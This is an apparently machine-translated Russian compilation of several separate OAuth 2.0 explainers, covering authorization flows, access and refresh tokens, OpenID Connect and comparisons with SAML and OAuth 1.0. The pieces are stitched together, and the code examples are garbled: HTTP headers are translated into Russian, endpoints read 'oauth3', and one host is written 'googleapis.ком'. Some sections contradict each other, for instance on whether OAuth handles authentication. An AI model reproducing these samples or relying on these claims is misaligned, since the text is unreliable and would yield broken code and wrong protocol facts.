{ "access_token": "2YotnFZFEjr1zCsicMWpAA", "token_type": "На предъявителя", "expires_in": 3600, "refresh_token": "tGzv3JOkF0XG5Qx2TlKWIA" } Ответ — JSON. Вы можете реагировать или активно использовать токены. Проактивно иметь таймер в вашем клиенте. Реактивный — это отловить ошибку и затем попытаться получить новый токен.

Если у вас есть маркер доступа, вы можете использовать маркер доступа в заголовке аутентификации (используя token_type в качестве префикса) для выполнения защищенных запросов ресурсов.

  curl -H "Авторизация: предъявитель 2YotnFZFEjr1zCsicMWpAA" \
  https://www.googleapis.com/gmail/v1/users/1444587525/messages
  

Итак, теперь у вас есть передний канал, задний канал, разные конечные точки и разные клиенты. Вы должны смешивать и сопоставлять их для разных случаев использования. Это повышает сложность OAuth и может сбивать с толку.

Потоки OAuth

Самый первый поток — это то, что мы называем неявным потоком . Причина, по которой это называется неявным потоком, заключается в том, что все взаимодействие происходит через браузер.Нет никакого внутреннего сервера, который использовал бы разрешение на авторизацию для токена доступа. SPA — хороший пример использования этого потока. Этот поток также называется двухсторонним протоколом OAuth.

Неявный поток оптимизирован для общедоступных клиентов, работающих только в браузере. Маркер доступа возвращается непосредственно из запроса авторизации (только передний канал). Обычно он не поддерживает токены обновления. Предполагается, что владелец ресурса и публичный клиент находятся на одном устройстве. Поскольку все происходит в браузере, он наиболее уязвим для угроз безопасности.

Золотым стандартом является поток кода авторизации , также известный как 3 Legged, который использует как передний, так и задний канал. Это то, о чем мы больше всего говорили в этой статье. Поток переднего канала используется клиентским приложением для получения кода авторизации. Обратный канал используется клиентским приложением для обмена предоставленного кода авторизации на токен доступа (и, возможно, на токен обновления). Предполагается, что владелец ресурса и клиентское приложение находятся на разных устройствах.Это наиболее безопасный поток, потому что вы можете аутентифицировать клиента для погашения разрешения на авторизацию, а токены никогда не проходят через пользовательский агент. Существуют не только потоки неявного кода и кода авторизации, но и дополнительные потоки, которые можно выполнять с помощью OAuth. Опять же, OAuth — это скорее фреймворк.

Для сценариев «сервер-сервер» вы можете использовать Client Credential Flow . В этом сценарии клиентское приложение является конфиденциальным клиентом, который действует самостоятельно, а не от имени пользователя.Это скорее сценарий служебного аккаунта. Все, что вам нужно, это учетные данные клиента для выполнения всего процесса. Это только обратный канал для получения токена доступа с использованием учетных данных клиента. Он поддерживает общие секреты или утверждения в качестве учетных данных клиента, подписанных симметричными или асимметричными ключами.

Алгоритмы с симметричным ключом — это криптографические алгоритмы, которые позволяют расшифровать что угодно, если у вас есть пароль. Это часто встречается при защите файлов PDF или .zip.

Криптография с открытым ключом или асимметричная криптография — это любая криптографическая система, использующая пары ключей: открытые ключи и частные ключи. Открытые ключи может прочитать кто угодно, закрытые ключи священны для владельца. Это позволяет обеспечить безопасность данных без необходимости сообщать пароль.

Существует также устаревший режим под названием Resource Owner Password Flow . Это очень похоже на прямую аутентификацию с использованием имени пользователя и пароля и не рекомендуется. Это устаревший тип предоставления для собственных приложений с именем пользователя и паролем, например для настольных приложений.В этом потоке вы отправляете клиентскому приложению имя пользователя и пароль, и оно возвращает маркер доступа с сервера авторизации. Обычно он не поддерживает токены обновления и предполагает, что владелец ресурса и общедоступный клиент находятся на одном устройстве. Когда у вас есть API, который хочет говорить только по OAuth, но у вас есть клиенты старой школы, с которыми нужно иметь дело.

Более поздним дополнением к OAuth является поток утверждения , который аналогичен потоку учетных данных клиента. Это было добавлено, чтобы раскрыть идею федерации.Этот поток позволяет серверу авторизации доверять разрешениям на авторизацию от третьих сторон, таких как SAML IdP. Сервер авторизации доверяет поставщику удостоверений. Утверждение используется для получения токена доступа от конечной точки токена. Это отлично подходит для компаний, которые инвестировали в технологии SAML или SAML, и позволяют им интегрироваться с OAuth. Поскольку утверждения SAML недолговечны, в этом потоке нет токенов обновления, и вам придется получать токены доступа каждый раз, когда истекает срок действия утверждения.

Отсутствует в спецификации OAuth, это Device Flow . Нет веб-браузера, только контроллер для чего-то вроде телевизора. Код пользователя возвращается из запроса авторизации, который необходимо активировать, посетив URL-адрес на устройстве с браузером для авторизации. Поток обратного канала используется клиентским приложением для опроса на предмет утверждения авторизации для токена доступа и, при необходимости, токена обновления. Также популярен среди клиентов CLI.

Мы рассмотрели шесть различных потоков с использованием разных участников и типов токенов.Они необходимы из-за возможностей клиентов, из-за того, как нам нужно было получить согласие от клиента, который дает согласие, а это добавляет много сложностей в OAuth.

Когда люди спрашивают, поддерживаете ли вы OAuth, вы должны пояснить, о чем они просят. Спрашивают, поддерживаете ли вы все шесть потоков или только основные? Между всеми различными потоками существует большая степень детализации.

Безопасность и предприятие

OAuth имеет большую площадь.Благодаря неявному потоку существует множество перенаправлений и много места для ошибок. Многие люди пытались использовать OAuth между приложениями, и это легко сделать, если не следовать рекомендованным правилам Web Security 101. Например:

• Всегда используйте токен CSRF с параметром состояния для обеспечения целостности потока
• Всегда добавлять URI перенаправления в белый список для обеспечения правильной проверки URI
• Привяжите одного и того же клиента к разрешениям на авторизацию и запросам токенов с идентификатором клиента
• Для конфиденциальных клиентов, убедитесь, что секреты клиентов не разглашаются.Не храните секреты клиента в своем приложении, которое распространяется через App Store!

Самая большая жалоба на OAuth в целом исходит от специалистов службы безопасности. Речь идет о токенах на предъявителя и о том, что они могут передаваться так же, как файлы cookie сеанса. Вы можете передать его, и все готово, он криптографически не привязан к пользователю. Использование JWT помогает, потому что их невозможно изменить. Однако, в конце концов, JWT — это просто строка символов, поэтому их можно легко скопировать и использовать в заголовке Authorization .

Примеры использования Enterprise OAuth 2.0

OAuth отделяет ваши решения по политике авторизации от аутентификации. Он обеспечивает правильное сочетание мелкозернистой и крупнозернистой авторизации. Он может заменить традиционные политики управления веб-доступом (WAM). Он также отлично подходит для ограничения и отмены разрешений при создании приложений, которые могут обращаться к определенным API. Это гарантирует, что только управляемые и / или совместимые устройства могут получить доступ к определенным API. Он имеет глубокую интеграцию с рабочими процессами деинициализации удостоверений для отзыва всех токенов у пользователя или устройства.Наконец, он поддерживает федерацию с поставщиком удостоверений.

OAuth не является протоколом аутентификации

Подведем итог некоторым ошибочным представлениям об OAuth 2.0: он не имеет обратной совместимости с OAuth 1.0. Он заменяет подписи на HTTPS для всех коммуникаций. Когда сегодня говорят об OAuth, они имеют в виду OAuth 2.0.

Поскольку OAuth — это структура авторизации, а не протокол, у вас могут возникнуть проблемы с совместимостью. Существует множество вариантов реализации OAuth в группах, и вам может потребоваться специальный код для интеграции с поставщиками.

OAuth 2.0 не является протоколом аутентификации. Об этом даже говорится в документации.

Мы все время говорили о делегированной авторизации. Дело не в аутентификации пользователя, и это ключевой момент. Сам по себе OAuth 2.0 абсолютно ничего не говорит о пользователе. У вас просто есть токен для доступа к ресурсу.

За последние несколько лет в OAuth произошло огромное количество дополнений. Они снова усложняют OAuth для выполнения различных корпоративных сценариев.Например, JWT можно использовать в качестве взаимодействующих токенов, которые можно подписать и зашифровать.

Псевдо-аутентификация с помощью OAuth 2.0

Вход с помощью OAuth стал известен благодаря Facebook Connect и Twitter. В этом потоке клиент обращается к конечной точке / me с токеном доступа. Все, что он говорит, это то, что у клиента есть доступ к ресурсу с токеном. Люди изобрели эту фальшивую конечную точку как способ вернуть профиль пользователя с токеном доступа. Это нестандартный способ получить информацию о пользователе.В стандартах нет ничего, что говорило бы, что каждый должен реализовать эту конечную точку. Маркеры доступа должны быть непрозрачными. Они предназначены для API и не предназначены для хранения пользовательской информации.

То, что вы действительно пытаетесь ответить с помощью аутентификации, — это , кто является пользователем, , когда аутентифицировал пользователя, и , как аутентифицировал пользователя. Обычно вы можете ответить на эти вопросы с помощью утверждений SAML, а не с помощью маркеров доступа и грантов авторизации.Вот почему мы называем это псевдо-аутентификацией.

Введите OpenID Connect

Чтобы решить проблему псевдо-аутентификации, лучшие части OAuth 2.0, Facebook Connect и SAML 2.0 были объединены для создания OpenID Connect. OpenID Connect (OIDC) расширяет OAuth 2.0 новым подписанным идентификатором id_token для клиента и конечной точкой UserInfo для получения атрибутов пользователя. В отличие от SAML, OIDC предоставляет стандартный набор областей и требований для идентификаторов. Примеры: профиль , электронная почта , адрес и телефон .

OIDC был создан для масштабирования в Интернете, делая вещи полностью динамическими. Больше не нужно скачивать метаданные и федерацию, как того требует SAML. Есть встроенная регистрация, обнаружение и метаданные для динамических федераций. Вы можете ввести свой адрес электронной почты, затем он динамически обнаруживает вашего поставщика OIDC, динамически загружает метаданные, динамически узнает, какие сертификаты он собирается использовать, и разрешает BYOI (Bring Your Own Identity). Он поддерживает высокий уровень гарантии и ключевые сценарии использования SAML для предприятий.

OIDC прославили Google и Microsoft, которые первыми начали его внедрять. Okta также вложила большие средства в OIDC.

Все, что изменилось в первоначальном запросе, — это то, что он содержит стандартные области (например, openid и электронная почта ):

Запрос	ПОЛУЧИТЬ https://accounts.google.com/o/oauth3/auth? scope = адрес электронной почты openid & redirect_uri = https: //app.example.com/oauth3/callback& response_type = код & client_id = 812741506391 & состояние = af0ifjsldkj
Ответ	HTTP / 1.1 302 Найдено Расположение: https://app.example.com/oauth3/callback? код = MsCeLvIaQm6bTrgtp7 и состояние = af0ifjsldkj Возвращаемый код — это разрешение на авторизацию, а состояние должно гарантировать, что он не подделан и что он был получен из того же запроса.

И разрешение на авторизацию для ответа токенов содержит токен ID.

Запрос	POST / oauth3 / v3 / токен HTTP / 1.1 Хост: www.googleapis.ком Тип содержимого: application / x-www-form-urlencoded code = MsCeLvIaQm6bTrgtp7 & client_id = 812741506391 & client_secret = {client_secret} & redirect_uri = https: //app.example.com/oauth3/callback& grant_type = код_ авторизации
Ответ	{ "access_token": "2YotnFZFEjr1zCsicMWpAA", "token_type": "На предъявителя", "expires_in": 3600, "refresh_token": "tGzv3JOkF0XG5Qx2TlKWIA", "id_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjFlOWdkazcifQ... " }

Вы можете видеть, что это красиво наложено поверх OAuth, чтобы вернуть токен ID в виде структурированного токена. Маркер идентификатора — это веб-токен JSON (JWT). JWT (он же «jot») намного меньше гигантского утверждения SAML на основе XML и может эффективно передаваться между различными устройствами. JWT состоит из трех частей: заголовка, тела и подписи. В заголовке указано, какой алгоритм был использован для его подписания, претензии находятся в теле, а его подписано в подписи.

Поток Open ID Connect включает следующие шаги:

1. Обнаружить метаданные OIDC
2. Выполните поток OAuth для получения токена идентификатора и токена доступа
3. Получить ключи подписи JWT и, при необходимости, динамически зарегистрировать клиентское приложение
4. Проверить токен JWT ID локально на основе встроенных дат и подписи
5. Получите дополнительные атрибуты пользователя по мере необходимости с токеном доступа

OAuth + Okta

Okta наиболее известна своими службами единого входа, которые позволяют беспрепятственно аутентифицироваться в приложениях, которые вы используете ежедневно.Но знаете ли вы, что у Okta есть отличная платформа для разработчиков? Безопасный единый вход часто использует SAML в качестве предпочтительного протокола, но Okta также предоставляет несколько других вариантов, включая виджет входа, Auth SDK (библиотека на основе JavaScript), вход через социальные сети и API аутентификации для любого клиента. Если вы хотите узнать об Okta прямо из первоисточника, вам следует посетить Oktane17 в конце августа. Есть трек, посвященный разработке приложений.

См. OIDC / OAuth 2.0 API Okta для получения конкретной информации о том, как мы поддерживаем OAuth.

SAML внедряется Okta с ее модулями SSO. Если вы, как и я, являетесь клиентом Okta, вы, вероятно, взаимодействуете с большинством приложений, используя что-то вроде https://okta.okta.com/app/UserHome. Когда вы нажимаете на чиклет, мы отправляем сообщение, мы подписываем утверждение, внутри утверждения указывается, кто является пользователем, и что оно пришло из Okta. Поставьте на него цифровую подпись, и все готово.

Если вы предпочитаете посмотреть видео, чтобы узнать о OAuth, ознакомьтесь с презентацией Нейта Барбеттини, менеджера по продукту Okta, ниже.

Обзор OAuth 2.0

OAuth 2.0 — это среда авторизации для делегированного доступа к API. Он включает клиентов, которые запрашивают области, на которые Владельцы ресурсов разрешают / дают согласие. Гранты авторизации обмениваются на токены доступа и токены обновления (в зависимости от потока). Существует несколько потоков для решения различных сценариев клиента и авторизации. JWT могут использоваться для структурированных токенов между серверами авторизации и серверами ресурсов.

OAuth имеет очень большую площадь защиты. Обязательно используйте безопасный инструментарий и проверьте все введенные данные!

OAuth не является протоколом аутентификации. OpenID Connect расширяет OAuth 2.0 для сценариев аутентификации и часто называется «SAML с фигурными скобками». Если вы хотите еще глубже погрузиться в OAuth 2.0, я рекомендую вам посетить OAuth.com, попробовать Auth SDK Okta и испытать потоки OAuth самостоятельно.

Если вы хотите узнать больше о OAuth и OIDC, мы рекомендуем следующие публикации:

Если вам нравится OAuth 2.0 и OIDC, подпишитесь на нас в Твиттере или посетите наш новый сайт безопасности, где мы публикуем подробные статьи по темам безопасности.

Что такое OAuth и как он защищает мою личную информацию?

OAuth (произносится «oh-auth») — это технологический стандарт, позволяющий обмениваться информацией между службами, не раскрывая свой пароль. Это широко распространенный стандарт, который используют разработчики веб-сайтов и приложений, и вы, вероятно, каждый день пользуетесь сервисами, использующими OAuth.

Как работает OAuth и как он защищает вашу личную информацию? Ответим на ваши вопросы.

Дилемма обмена информацией

В современную эпоху у нас много цифровых учетных записей. У нас есть учетные записи в социальных сетях, у нас есть онлайн-банковские счета, у нас есть онлайн-счета на предприятиях и в розничных магазинах, и у нас есть счета на наших любимых веб-сайтах. Все эти цифровые учетные записи требуют, чтобы мы установили имя пользователя и пароль.

Еще одним аспектом нашего современного общества является то, что многие из наших онлайн-сервисов интегрированы.Например, если у вас есть смартфон, вы можете публиковать свои фотографии в Facebook. Вы можете поделиться хорошей записью в блоге в Twitter. Вы можете привязать платежные приложения, такие как Venmo, к своему банковскому счету. Кажется, что все онлайн-сервисы в настоящее время предназначены для взаимодействия с другими интерфейсами.

Здесь вы рискуете нарушить конфиденциальность. Включая совместное использование данных, вы предоставляете третьим лицам доступ к своей личной информации.

Означает ли это, что связывать аккаунты не следует? Неа! Такие стандарты, как OAuth, обеспечивают безопасность вашей личной информации при передаче данных между третьими сторонами.

Как работает OAuth

Что делать, если одна сторонняя служба хочет использовать информацию, имеющуюся у вас на другой сторонней службе? Так, например, вы хотите поделиться одной из своих фотографий из Instagram в Facebook. Вы могли подумать, что Facebook запросит ваш пароль в Instagram, чтобы получить доступ к фотографиям, размещенным на нем. Правильно?

Но это опасно. Чем чаще вы раздаете свои пароли, тем больше вероятность того, что ваши пароли будут скомпрометированы. Вот где на помощь приходит OAuth.

OAuth, что означает «открытая авторизация», позволяет сторонним службам обмениваться вашей информацией без необходимости сообщать ваш пароль.

токенов OAuth

OAuth использует систему токенов. Ну, если быть точным, это «токены доступа». Маркер доступа дает одному стороннему источнику временный доступ к ограниченному объему вашей личной информации из другого стороннего источника [1].

Итак, в этой аналогии между Instagram и Facebook Facebook запросит у вас разрешение на доступ к вашему Instagram.Вы подтверждаете заявку. Затем Facebook получит токен доступа для этой единственной фотографии в вашей учетной записи Instagram. Instagram проверит токен и предоставит доступ к Facebook, чтобы он мог получить фотографию.

Facebook никогда не получает информацию для входа в ваш Instagram.

Вы единственный, кто может предоставлять токены доступа. Некоторые жетоны предоставляются для одноразового использования, а другие — для повторного использования до тех пор, пока они не будут деактивированы (например, совместное использование местоположения на вашем смартфоне).

Кто использует OAuth?

Существует множество крупных компаний, предоставляющих услуги OAuth, что свидетельствует о том, насколько широко этот стандарт получил распространение. Вот некоторые из основных поставщиков:

• Amazon
• AOL
• Bitly
• Dailymotion
• Etsy
• Facebook
• Goodreads
• Google App Engine
• Instagram
• LinkedIn
• Microsoft
• Netflix
• Tumblr
• Twitter
• Vimeo
• WordPress
• Yahoo!

Есть и другие услуги.Но, как видите, OAuth — это проверенный и надежный способ защиты вашей личной информации, позволяющий также удобно обмениваться ею между службами [2].

Чем OAuth отличается от других форм аутентификации?

Есть несколько других широко используемых стандартов аутентификации, но OAuth немного отличается от них.

SAML

SAML (язык разметки безопасности) — это общий стандарт, который используется в основном для управления процессами единой регистрации.Единый вход используется в основном в федеральных и корпоративных сетях, хотя в некоторых библиотеках он также может быть. Здесь пользователь входит на портал и может получить доступ ко всей корпоративной информации. Таким образом, вы можете войти на корпоративный портал и получить доступ к информации компании, такой как финансовые данные или служебные записки.

SAML был разработан для обеспечения безопасности единого входа. Он удостоверяет, что пользователь является лицом, уполномоченным иметь доступ к информации на портале. После аутентификации SAML предоставляет пользователю токен доступа для одного сеанса.SAML не управляет обменом данными между третьими сторонами, что делает его менее полезным для приложений.

OpenID

Вы можете часто видеть OAuth по сравнению с OpenID. Как и SAML, OpenID используется в первую очередь для аутентификации чьей-либо личности, а не для авторизации обмена данными. OpenID позволяет вам создать единую учетную запись для входа, которую вы можете использовать для множества веб-сайтов, работающих совместно. Поэтому, если вы используете два разных веб-сайта, которые взаимодействуют друг с другом, вы можете создать один OpenID, который будет работать для обоих веб-сайтов [3].

Знайте, что OAuth может обеспечивать как авторизацию, так и аутентификацию. Это позволяет вам обмениваться информацией из одной службы в другую, но некоторые службы OAuth могут реализовывать средства защиты, требующие входа в учетную запись для подтверждения своей личности.

В чем разница между OAuth 1 и OAuth 2?

OAuth 2.0 был серьезным обновлением по сравнению с первой версией OAuth. Многие компании предоставили информацию о том, как OAuth 2.0 может стать лучше своего предшественника, включая Yahoo !, Facebook, Salesforce, Microsoft, Twitter и Google.

OAuth 1 был разработан в первую очередь для веб-сайтов. OAuth 2.0 стал более совместимым для использования как веб-сайтами, так и приложениями. Вторая версия также допускает большее разнообразие токенов доступа, таких как краткосрочные токены и долгоживущие токены обновления [4].

Гарантированно ли OAuth защищает всю мою информацию?

Никакие стандарты авторизации или аутентификации не гарантируют защиты вашей информации. Если ваша информация доступна в Интернете, она может быть украдена.Если хакеры взломают сервер какой-либо службы, которую вы используете, они потенциально могут забрать вашу регистрационную информацию или личную информацию, такую ​​как имя, адрес и данные кредитной карты. Лучший способ защитить себя в Интернете — создать сложные пароли, которые хакеры не смогут уметь угадывать. Вам также следует часто менять свои пароли (несколько раз в год), чтобы в случае утечки данных хакеры получили только ваши устаревшие данные для входа. Они не смогут использовать ваш старый пароль для входа в ваши учетные записи.Использование виртуальной частной сети (VPN) — еще один отличный способ защитить вашу конфиденциальность.

Отличительной чертой OAuth является то, что он ограничивает количество сторонних лиц, знающих ваши пароли. Нет, это не означает, что ваша личная информация на 100% безопасна. Но, уменьшив количество объектов, имеющих ваши пароли, вы уменьшите вероятность взлома ваших паролей.

[1] TechTarget.com; OAuth

Об авторе

Зак Кабадинг (Zach Cabading) — автор статей в HP® Tech Takes. Зак — специалист по созданию контента из Южной Калифорнии, он создает разнообразный контент для индустрии высоких технологий.

Что такое OAuth (открытая авторизация)

OAuth (открытая авторизация) — это стандарт авторизации ресурсов. Он позволяет пользователям в организации входить в систему с помощью провайдеров подключения OAuth / OpenID, таких как Microsoft Azure AD, AWS Cognito, приложения Google, Facebook и т. Д., И делиться своей информацией с корпоративными приложениями. Он использует механизм авторизации на основе токенов для предоставления пользователям доступа к корпоративным приложениям.

Приложения, поддерживающие вход с использованием сторонних сервисов, обычно предлагают пользователю пройти аутентификацию, предлагая такие варианты, как «Войти через Facebook» или «Войти через Google» и т. Д.таким образом, позволяя пользователю использовать свои учетные данные для входа в стороннюю службу. В ответ служба отправляет токен доступа запрашивающему приложению, который подтверждает подлинность пользователя, запрашивающего доступ. Затем токен используется для выполнения запросов к ресурсам, которые требуются конечному пользователю.

OAuth подходит как для браузеров, так и для мобильных приложений и широко используется для доступа к клиентским приложениям и API. Обычно OAuth использует JSON для передачи сообщений между приложениями и использует HTTP для запроса и получения токенов.

Пользователи OAuth — это те, кто пытается использовать реализацию безопасного протокола с помощью таких приложений, как Google, Microsoft, Paypal, которые обеспечивают подлинность удостоверений.

До OAuth протокол HTTP был стандартом базовой аутентификации, при котором пользователю предлагалось ввести имя пользователя и пароль для доступа к каждому приложению. Веб-сайты будут предлагать вам ввести свое имя пользователя и пароль непосредственно в форму, и они будут входить в ваши данные (например, в вашу учетную запись Gmail) как вы.

Базовая аутентификация по-прежнему используется в качестве примитивной формы аутентификации API для серверных приложений, в которой вместо отправки имени пользователя и пароля на сервер с каждым запросом пользователь отправляет идентификатор ключа API и секрет.

В отличие от вышеизложенного, OAuth позволяет аутентификацию с использованием токенов доступа, что является более безопасным, поскольку не используется обмен паролями.

Рабочий процесс единого входа (SSO) OAuth:

1. Неизвестный пользователь пытается получить доступ к ресурсам.
2. Веб-приложение отправляет запрос авторизации провайдеру OAuth.
3. Сервер OAuth предлагает пользователю войти в систему и авторизует приложение.
4. Пользователь перенаправляется на страницу входа, где он входит в систему.
5. Провайдер OAuth аутентифицирует пользователя и отправляет код авторизации в веб-приложение miniOrange.
6. Веб-приложение отправляет свой собственный client_id, client_secret с кодом авторизации, полученным от сервера OAuth.
Сервер
7. затем аутентифицирует запрос и отправляет токен доступа клиенту miniOrange OAuth.
8. Ваше веб-приложение использует маркер доступа для доступа к ресурсам на сервере ресурсов.
9. Использование токена доступа, токена идентификатора и информации о пользователе miniOrange позволяет пользователю получить доступ к защищенным функциям.
10. Теперь пользователь аутентифицирован и вошел в систему. Таким образом, приложение предоставляет доступ к ресурсам.

Давайте рассмотрим пример, чтобы показать вам, как реализовать OAuth в качестве потребителя:

1. Зарегистрируйте приложение:

Регистрация вашего приложения у поставщика удостоверений OAuth, такого как Azure AD, AWS Cognito, Facebook, Google Apps и т. Д.включает создание приложения и ввод данных, связанных с приложением. После успешной регистрации приложения вы получите ключ потребителя и секретный ключ. Эти ключи используются для идентификации вашего приложения поставщику OAuth и требуются при запросе токена.

2. поставщик OAuth запроса клиентского приложения для токена доступа:

Ваше зарегистрированное приложение теперь может отправить запрос авторизации провайдеру OAuth с запросом токена доступа. Пользователь должен пройти аутентификацию у поставщика OAuth и получить согласие на странице авторизации с просьбой предоставить вашему приложению разрешения на доступ к определенным пользовательским данным.После того, как пользователь одобряет согласие, для него создается одноразовый токен, который передается в клиентское приложение.

3. Обменять токен одноразового запроса на токен доступа OAuth:

После того, как пользователь предоставит разрешения вашему приложению, ваше приложение может обменять токен запроса на токен доступа. Маркер доступа используется вашим приложением для запроса определенных ресурсов у поставщика OAuth, которому пользователь предоставил разрешение на доступ.

Компоненты OAuth: —

• Конечный пользователь / Владелец ресурса — Владелец ресурса — это конечный пользователь, который хочет получить доступ к защищенному ресурсу.Пользователь может выполнять операции чтения / записи на ресурсе в зависимости от своих авторизованных разрешений.
• Сервер ресурсов — Ресурс, запрошенный конечным пользователем, присутствует на сервере ресурсов. Сервер ресурсов обрабатывает запросы на доступ / обновление ресурса, а также пересылает запросы аутентификации на сервер OAuth или сервер авторизации. Он не разрешает доступ к ресурсу, если запрос не содержит соответствующий токен доступа.
• Сервер авторизации — Сервер OAuth — это сервер аутентификации, который обрабатывает запросы на вход и проверяет личность пользователя.Он также предоставляет запрошенную информацию о пользователе вместе с токеном доступа к серверу ресурсов.

Преимущества: —

1. Предотвращает необходимость поддерживать службу аутентификации:

Поскольку OAuth позволяет приложениям аутентифицировать пользователей, устанавливая их идентификационные данные от сторонних сервисов, это избавляет приложение от необходимости реализовывать собственную систему аутентификации.

2. простой обмен пользовательскими данными:

Поскольку для единого входа требуется единый набор учетных данных для аутентификации и предоставляется доступ к нескольким приложениям / веб-сайтам, пользователю необходимо запомнить только один пароль, в отличие от запоминания нескольких паролей для каждого отдельного приложения / веб-сайта.

3. Больше доверия:

Обычно приложениям аутентификации (Google, Facebook) и т. Д. Пользователи доверяют больше, чем вашему собственному приложению. Следовательно, они легко аутентифицируют себя с помощью этих сервисов, не беспокоясь о том, чтобы поделиться своей информацией напрямую.

4. Простота внедрения:

OAuth использует исключительно протокол HTTP для отправки и получения информации и токенов доступа. Это упрощает реализацию службы OAuth, а также клиента, поскольку не требует использования сложных стандартов или определений.

Ограничения:

1. Уязвимость в системе безопасности: Если вы используете одну службу для подключения ко всем другим любимым сайтам, и одна учетная запись будет взломана, последствия будут ощущаться на нескольких сайтах, а не только на одном. Например, если вы вошли в систему через Facebook для всех приложений, а затем, если ваша учетная запись Facebook была взломана, ваша личность и информация будут скомпрометированы на нескольких сайтах, а не только на одном.
2. Неправильное использование данных: Несмотря на то, что OAuth ограничивает новые веб-сайты и приложения от получения всех ваших пользовательских данных и их продажи против вашей воли, вам все равно необходимо доверять службе аутентификации ваши данные.Это означает, что вашими данными владеет служба, и вы больше не можете контролировать, могут ли они быть использованы неправомерно без вашего разрешения.

Что такое OAuth? — JumpCloud

OAuth 2.0 — это структура, которая определяет, как веб-приложения взаимодействуют друг с другом и определяют авторизацию между ними. Это всего лишь один из набора современных протоколов, о котором должны знать ИТ-администраторы, и здесь мы расскажем, как он может быть частью вашей стратегии управления идентификацией и доступом (IAM).

Определено OAuth

OAuth 2.0 — это платформа авторизации, выпущенная в 2012 году. Она делегирует авторизацию стороннему серверу авторизации через токены доступа, а не передает учетные данные между клиентом и сервером ресурсов, к которому он обращается.

Токены могут использовать либо документы XML, либо нотацию объектов JavaScript (JSON). По сути, OAuth 2.0 описывает «потоки авторизации для веб-приложений, настольных приложений, мобильных телефонов и устройств в гостиной».


OAuth 2.0 можно комбинировать с OpenID Connect для аутентификации, но он несовместим со своим предшественником, OAuth 1.0

Преимущества OAuth

Основные игроки отрасли используют OAuth 2.0 (например, Google, Facebook, Twitter и др.). API Google используют его, например, для аутентификации и авторизации.

OAuth также можно использовать для определения объема доступа приложений к учетным записям. Возможно, вы знакомы с этим как обычный пользователь, когда сторонняя служба запрашивает разрешение на доступ к вашей учетной записи Google и указывает, к каким активам в вашей учетной записи он будет получать доступ.

Это также открытый стандарт, ориентированный на простоту разработки. Хотя он используется для потоков авторизации в веб-приложениях, OAuth отличается от другого основного протокола, используемого для аутентификации в веб-приложениях, — SAML.

Разница между OAuth и SAML

SAML (Security Assertion Markup Language) — это протокол, который решения единого входа (SSO) веб-приложений используют для безопасной аутентификации между поставщиками удостоверений и поставщиками услуг, также известными как веб-приложения.

И SAML, и OAuth определяют отношения между приложением и поставщиком удостоверений. Однако аутентификация в OAuth выполняется другим «поставщиком удостоверений», которым может быть приложение, поэтому, когда кому-то нужно авторизоваться во втором приложении, он может сделать это, используя OAuth из первого приложения. Например, приложению, интегрированному в Slack, могут потребоваться данные из вашего рабочего пространства Slack для выполнения своих задач. Он будет использовать OAuth для запроса разрешения на доступ к указанным данным, вместо того, чтобы использовать или записывать ваши учетные данные Slack для получения доступа или требовать от вас создания для него нового набора учетных данных.

OAuth, как упоминалось выше, также предназначен для определения области доступа, которая представляет собой практику предоставления только минимального доступа к ресурсу или приложению.

Хотя протоколы используются по-разному, их можно использовать в сочетании в комплексном решении для управления идентификацией и доступом, в том числе в тесной интеграции между облачной службой каталогов и пакетами для повышения производительности, такими как G Suite и Office 365 ^TM .

OAuth в управлении идентификацией и доступом

OAuth — лишь один из множества современных протоколов, которые могут потребоваться предприятиям для подключения пользователей к инструментам, которые им нужны для повседневной работы, а также к SAML, RADIUS и LDAP.

В идеале центральный провайдер идентификации должен иметь возможность использовать все эти протоколы при подключении пользователей к системам, приложениям, файлам и сетям — без необходимости в надстройках для этого. Таким образом, администраторы могут контролировать доступ ко всем ресурсам, независимо от операционной системы или типа, из одного места.

Узнайте больше об использовании всех этих протоколов, включая OAuth, от облачного провайдера идентификации.

Что такое OAuth? Определение и как это работает

OAuth использует токены доступа для предоставления временного доступа третьим лицам.Токены обычно используются на короткий срок, но некоторые могут предоставлять повторяющийся доступ.

Подумайте о том, какой отдельный ключ парковщика вы отдадите ему при парковке автомобиля. Ключ камердинера — это не то же самое, что основной ключ, потому что он дает только ограниченный доступ к вашему автомобилю. Ключ камердинера не откроет багажник или запертый перчаточный ящик, поэтому он не сможет получить доступ к каким-либо личным ценным предметам. Некоторые ключи камердинера имеют дополнительные ограничения, такие как разрешение на проезд автомобиля только определенное количество миль.

Токен OAuth работает точно так же. Веб-сайту или службе предоставляется другой служебный ключ, и у них никогда не бывает «основного» ключа для доступа к каким-либо личным данным или учетным данным, содержащимся в основном ключе.

Давайте посмотрим, как OAuth разрешает доступ. Предположим, что пользователь уже вошел в систему на веб-сайте или в службе, и теперь пользователь хочет инициировать транзакцию, для которой требуется доступ к стороннему сайту или службе. Процесс авторизации выполняется следующим образом:

1. Приложение запрашивает авторизацию для доступа к защищенному поставщику услуг.
2. Пользователь разрешает запрос.
3. Приложение предоставляет поставщику услуг подтверждение авторизации пользователя в обмен на токен доступа.
4. Пользователь перенаправляется к поставщику услуг для предоставления разрешения.
5. После утверждения пользователем приложение получает маркер доступа.
6. Приложение запрашивает доступ к защищенным ресурсам у поставщика услуг.

Наибольшее преимущество OAuth для веб-сайтов, таких как новости, сообщества или сайты электронной коммерции, заключается в том, что доступ к веб-сайту с аутентификацией может быть расширен для неограниченного числа дополнительных пользователей без создания этими пользователями новых учетных записей, требующих адреса электронной почты и новый пароль.Открытая авторизация снижает трение для обеих сторон. Веб-сайты можно масштабировать, и пользователям не нужно создавать еще одну учетную запись в Интернете.

Дальше безопасность больше. Когда пользователь присоединяется к веб-сайту, войдя в систему с помощью Facebook, например, если этот веб-сайт становится целью кибератаки, пользователи, которые вошли в систему с помощью OAuth, не будут раскрыты или украдены.

OAuth 1.0 против OAuth 2.0

OAuth 1.0 и 2.0 совершенно разные и, что удивительно, несовместимы. Версия 1.0, которая сейчас устарела, была разработана специально для веб-сайтов. Это считалось сложным и не масштабировалось. Версия 2.0, с другой стороны, обеспечивает авторизованный доступ к интерфейсам прикладного программирования (API) и шифрует токены в пути, поэтому нет необходимости в шифровании на конечных точках.

OAuth 2.0 был разработан для большей совместимости между сайтами и устройствами. У него также есть срок действия токена, которого не было в версии 1.0. Хотя версии 1.0 и 2.0 несовместимы, веб-сайт может поддерживать обе версии. Создатели версии 2.0 предназначались для сайтов, использующих версию 1.0, чтобы полностью заменить ее версией 2.0.

Существуют другие структуры, протоколы и технологии безопасности для управления аутентификацией, авторизацией и идентификацией. Давайте посмотрим на два других: OpenID и SAML.

